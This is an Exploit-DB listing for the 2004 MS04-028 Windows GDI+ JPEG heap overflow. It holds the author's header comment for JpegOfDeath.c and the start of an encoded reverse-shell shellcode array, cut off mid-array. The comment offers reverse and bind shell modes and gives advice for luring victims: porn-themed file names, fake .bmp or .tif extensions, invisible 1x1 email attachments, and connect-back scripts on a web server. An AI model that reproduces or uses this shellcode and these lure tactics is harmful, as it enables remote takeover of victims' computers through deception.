Exploit-DB #480
Description: Microsoft Windows - JPEG GDI+ Remote Heap Overflow (MS04-028)
Type: remote
Platform: windows
Date: 2004-09-25
Author: John Bissell

Exploit:
/***************************************************************
 *
 * GDI+ JPEG Remote Exploit 
 *  By John Bissell A.K.A. HighT1mes
 *
 * Exploit Name:
 * =============
 *  JpegOfDeath.c v0.5
 *
 * Date Exploit Released:
 * ======================
 *  Sep, 23, 2004
 *
 * Description:
 * ============
 *  Exploit based on FoToZ exploit but kicks the exploit up 
 *  a notch by making it have reverse connectback as well as
 *  bind features that will work with all NT based OS's.
 *  WinNT, WinXP, Win2K, Win2003, etc... Thank you FoToz for
 *  helping get a grip on the situation. I actually had got
 *  bind jpeg exploit working earlier but I could only 
 *  trigger from OllyDbg due to the heap dynamically changing...
 *
 *  If anyone who uses this exploit has used my recent AIM 
 *  remote exploit then you will have a good idea already of how
 *  to use this exploit correctly.
 *
 *  Through my limited testing I have found on a unpatched 
 *  XP SP1 system that if you click the exploit jpeg file
 *  in Windows Explorer then you will be hacked. I know there
 *  are more attack points you can take advantage of if you
 *  look for them.. So say someone goes on any web browser
 *  and they decide to save your jpeg and then later open it
 *  in explorer.exe then they will be attacked.. or maybe they
 *  got a email that has a good filename attachment title to
 *  it like "daisey fuentes porn pic.jpg" well then they 
 *  want to see it so they save it to there harddrive and open
 *  the pic in explorer.exe and game over. You just have to
 *  test and get creative. The reason this is version 0.5 is
 *  because I know rundll32.exe is MAJORALLY exploitable and I know
 *  that would make this exploit far more powerful if I 
 *  figured that part out.. I have already exploited it
 *  personally myself but I need to run some more tests to
 *  make things final for everyone... On another side note
 *  for the people out there who think you can only be affected 
 *  through viewing or downloading a jpeg attachment.. you're
 *  dead wrong.. All the attacker has to do is simply change
 *  image extension from .jpg to .bmp or .tif or whatever
 *  and stupid Windows will still treat the file as a JPEG :-p...

 *  Also the fact is this vulnerability is exploitable 
 *  without the victim clicking a link... For instance you
 *  send them the image with a 1,1 width,height and then'
 *  they can't see it in Outlook Express, so there like 
 *  man this image has a cool name so I'll try to open the
 *  attachment, then there FUCKED... Well ok they have to
 *  click in a round-about-way.. but I'm sure if you're
 *  creative enough with all those MS features you can figure
 *  something out ;-)
 *
 *  I'll most likely be putting out another version of this
 *  exploit (more dangerous) once more testing has been done. So 
 *  I encourage everyone out there to download SP2, patch your
 *  Windows systems, etc... Of course this won't be a 
 *  cure all solution :-/
 *
 * Note:
 * =====
 *  If someone wants to take advantage of the bind mode of
 *  attack in this exploit you will need to set up a script
 *  on a web server to check everyone who downloads the 
 *  jpeg exploit file and then connect back to them on the
 *  port you wanted to use with the bind attack... One of
 *  the reasons I decided to keep the bind shellcode option
 *  in here is because sometimes as you people know a
 *  firewall will be more restrictive on outbound connections
 *  and there are times where a bind attack will do just right
 *  if the reverse connect attack won't work... On ANOTHER
 *  note you can also rename your jpeg file extension to
 *  something like a .bmp or .tif and dumb Windows program's
 *  (most of them) won't give give a shit and try to load the 
 *  jpeg anyways... You can easily trick unsuspecting people 
 *  this way.. which is pretty much everyone.. right??
 *
 * Greetings:
 * ==========
 *  FoToZ, Nick DeBaggis, MicroSoft, Anthony Rocha, #romhack
 *  Peter Winter-Smith, IsolationX, YpCat, Aria Giovanni,
 *  Nick Fitzgerald, Adam Nance (where are you?),
 *  Santa Barbara, Jenna Jameson, John Kerry, so1o, 
 *  Computer Security Industry, Rom Hackers,  My chihuahuas
 *  (Rocky, Sailor, and Penny)...
 *
 *
 * Disclaimer:
 * ===========
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
 * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
 * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
 * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
 * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
 * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
 * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
 *
 * Look out for a better version of this exploit in a few days.. perhaps...
 *
 ********************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")

/* Exploit Data... */

char reverse_shellcode[] =
"\xD9\xE1\xD9\x34"
"\x24\x58\x58\x58\x58\x80\xE8\xE7\x31\xC9\x66\x81\xE9\xAC\xFE\x80"
"\x30\x92\x40\xE2\xFA\x7A\xA2\x92\x92\x92\xD1\xDF\xD6\x92\x75\xEB"
"\x54\xEB\x7E\x6B\x38\xF2\x4B\x9B\x67\x3F\x59\x7F\x6E\xA9\x1C\xDC"
"\x9C\x7E\xEC\x4A\x70\xE1\x3F\x4B\x97\x5C\xE0\x6C\x21\x84\xC5\xC1"
"\xA0\xCD\xA1\xA0\xBC\xD6\xDE\xDE\x92\x93\xC9\xC6\x1B\x77\x1B\xCF"
"\x92\xF8\xA2\xCB\xF6\x19\x93\x19\xD2\x9E\x19\xE2\x8E\x3F\x19\xCA"
"\x9A\x79\x9E\x1F\xC5\xB6\xC3\xC0\x6D\x42\x1B\x51\xCB\x79\x82\xF8"
"\x9A\xCC\x93\x7C\xF8\x9A\xCB\x19\xEF\x92\x12\x6B\